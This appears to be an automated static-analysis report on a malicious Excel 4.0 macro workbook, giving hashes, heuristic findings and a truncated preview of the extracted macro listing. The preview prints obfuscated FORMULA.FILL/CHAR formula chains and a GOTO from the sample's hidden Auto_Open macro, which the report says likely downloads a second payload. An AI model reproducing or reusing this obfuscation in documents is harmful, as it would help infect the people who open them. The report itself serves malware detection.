Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c6bec9ecabb898e6…

MALICIOUS

Office (OLE)

175.0 KB Created: 2020-05-12 12:51:57 Authoring application: Microsoft Excel First seen: 2020-05-25
MD5: a58ef9c0d9894f33a1ddba8232956573 SHA-1: 5fa669c7d6f87f39ff45a31cc031f1a59ffa14c9 SHA-256: c6bec9ecabb898e6bc2b2ced7e0530c70db00fd42f72de37c4c2eedba1417e21
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro that utilizes dangerous functions, including 'RUN' and 'FORMULA.FILL', suggesting an attempt to execute arbitrary code. The macro is likely designed to download and run a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 125693 bytes
SHA-256: 3ce44bbc8458b9f679894738969878a240ac0474b3d7aafbe92ca56733e7fe94
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!CC36720 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,DX89,"",-14.80000000000000426326
'  Sheet,GR164,"",111.00000000000000000000
'  Sheet,ET184,"",-40.50000000000000000000
'  Sheet,F250,"",101.00000000000000000000
'  Sheet,BA254,"",-42.00000000000000000000
'  Sheet,ET255,"",-0.35220225786163517068
'  Sheet,IY275,"",36.50000000000000000000
'  Sheet,EX288,"",248.00000000000000000000
'  Sheet,JP291,"",0.12015832626519649950
'  Sheet,GI298,"",-477.00000000000000000000
'  Sheet,HU322,"",1258.00000000000000000000
'  Sheet,JD347,"",1.79761904761904767192
'  Sheet,DE351,"",-80.00000000000000000000
'  Sheet,EO434,"",-0.03416666666666666463
'  Sheet,JI547,"",-199.00000000000000000000
'  Sheet,DY559,"",0.61589403973509937451
'  Sheet,BR560,"",75.59999999999999431566
'  Sheet,JK574,"",109.60007812499999602096
'  Sheet,DX580,"FORMULA.FILL(CHAR(FB53896/GA60994)&CHAR(GS18008+JQ58762)&CHAR(A38151-L7055)&CHAR(A38151/FY11614)&CHAR(FB53896/HH51110)&CHAR(HB61841*HM53896)&CHAR(GS18008/JK52194)&CHAR(FJ61736*GT16535)&CHAR(FJ61736*EH42308)&CHAR(A38151+GT29967)&CHAR(HB61841+DC32714)&CHAR(A38151-EW11454)&CHAR(A38151*IP32090)&CHAR(A38151+GD15861)&CHAR(X50060/CY819)&CHAR(CW15722-EU14092)&CHAR(GS18008-BT29655)&CHAR(GS18008*FE57342)&CHAR(X50060+GR57359)&CHAR(FB53896/CM41830)&CHAR(X50060*GJ64954)&CHAR(CW15722-GQ25572)&CHAR(DV14194+FY15875)&CHAR(DV14194/DG50985)&CHAR(EU807*FL61007)&CHAR(CW15722*CJ34261)&CHAR(CW15722-EF43178)&CHAR(FB53896+B9646)&CHAR(X50060/GD51689)&CHAR(A38151+CY12458)&CHAR(EU807*IJ51793)&CHAR(GS18008*CL10862)&CHAR(FB53896+GC10101)&CHAR(GS18008/JO4240)&CHAR(EU807/GP24501)&CHAR(EU807+JG47871)&CHAR(FB53896/DL14145)&CHAR(HB61841+JP35220)&CHAR(EU807*IH38895)&CHAR(GS18008+FX55417)&CHAR(FJ61736+N32770)&CHAR(CW15722+JR27914)&CHAR(HB61841/HN16908)&CHAR(CW15722+DQ23463)&CHAR(GS18008-FV50370)&CHAR(HB61841-HP4383)&CHAR(CW15722-O43623)&CHAR(GS18008+JO53438)&CHAR(FB53896+CM24924)&CHAR(EU807+FP52821)&CHAR(HB61841*DA21596)&CHAR(FJ61736/FN37112)&CHAR(FB53896-JH37848)&CHAR(GS18008+EQ23788)&CHAR(CC5524/IK43915)&CHAR(FB53896-HO53801)&CHAR(CW15722/FE23767)&CHAR(FJ61736*BT20665)&CHAR(X50060-GS24490)&CHAR(FJ61736-L23509)&CHAR(A38151-EL39939)&CHAR(CC5524/H58771)&CHAR(FJ61736/BZ39105)&CHAR(FJ61736-EU35201)&CHAR(EU807-CZ42163)&CHAR(X50060-BL32849)&CHAR(CC5524-FM63114)&CHAR(HB61841*EJ31893)&CHAR(FJ61736-D22021)&CHAR(CC5524*BX31300)&CHAR(EU807-CD55223)&CHAR(FB53896-HK62387)&CHAR(FJ61736+HP64595)&CHAR(EU807+CF60520)&CHAR(X50060/IC23303)&CHAR(FJ61736*GP16077)&CHAR(EU807*IO62738)&CHAR(X50060+DW63001)&CHAR(HB61841-BF16426)&CHAR(FJ61736+FN9669)&CHAR(FJ61736-BE61059),GJ41593)",""
'  Sheet,DX581,GOTO(GL10445),""
'  Sheet,FY592,"",-22.94444444444444286546
'  Sheet,JO617,"",0.05316321105794789836
'  Sheet,BX639,"",-81.50000000000000000000
'  Sheet,FK649,"",-616.40031250000004092726
'  Sheet,I697,"",-1.82758620689655182368
'  Sheet,FC763,"",-73.00000000000000000000
'  Sheet,GY799,"",1.05769230769230770939
'  Sheet,CY819,"",-2.26086956521739113057
'  Sheet,FY823,"",-107.00000000000000000000
'  Sheet,EJ824,"",9.17560975609756113158
'  Sheet,JE909,"FORMULA.FILL(CHAR(FB53896*DY54554)&CHAR(CC5524/JT31041)&CHAR(CW15722+JE22746)&CHAR(X50060*EO42310)&CHAR(CW15722*GI11596)&CHAR(EU807/JC35516)&CHAR(DV14194/J35726)&CHAR(EU807/EW5700)&CHAR(HB61841-Q53526)&CHAR(FJ61736+FW15845)&CHAR(CC5524-JQ62399)&CHAR(GS18008+DZ36500)&CHAR(A38151*JE53603)&CHAR(EU807*FF4595)&CHAR(X50060*IQ3644)&CHAR(FJ61736*CD50664)&CHAR(FJ61736/CU64880)&CHAR(DV14194/DF39947)&CHAR(FB53896-HI3632)&CHAR(FB53896+GL48317)&CHAR(FB53896-BA19585)&CHAR(CW15722+GU30455)&CHAR(HB61841+GC45969)&CHAR(DV14194-HC4473)&CHAR(FB53896/ER24472)&CHAR(X50060*H20772)&CHAR(GS18008+L25037)&CHAR(EU807*CM2
... (truncated)

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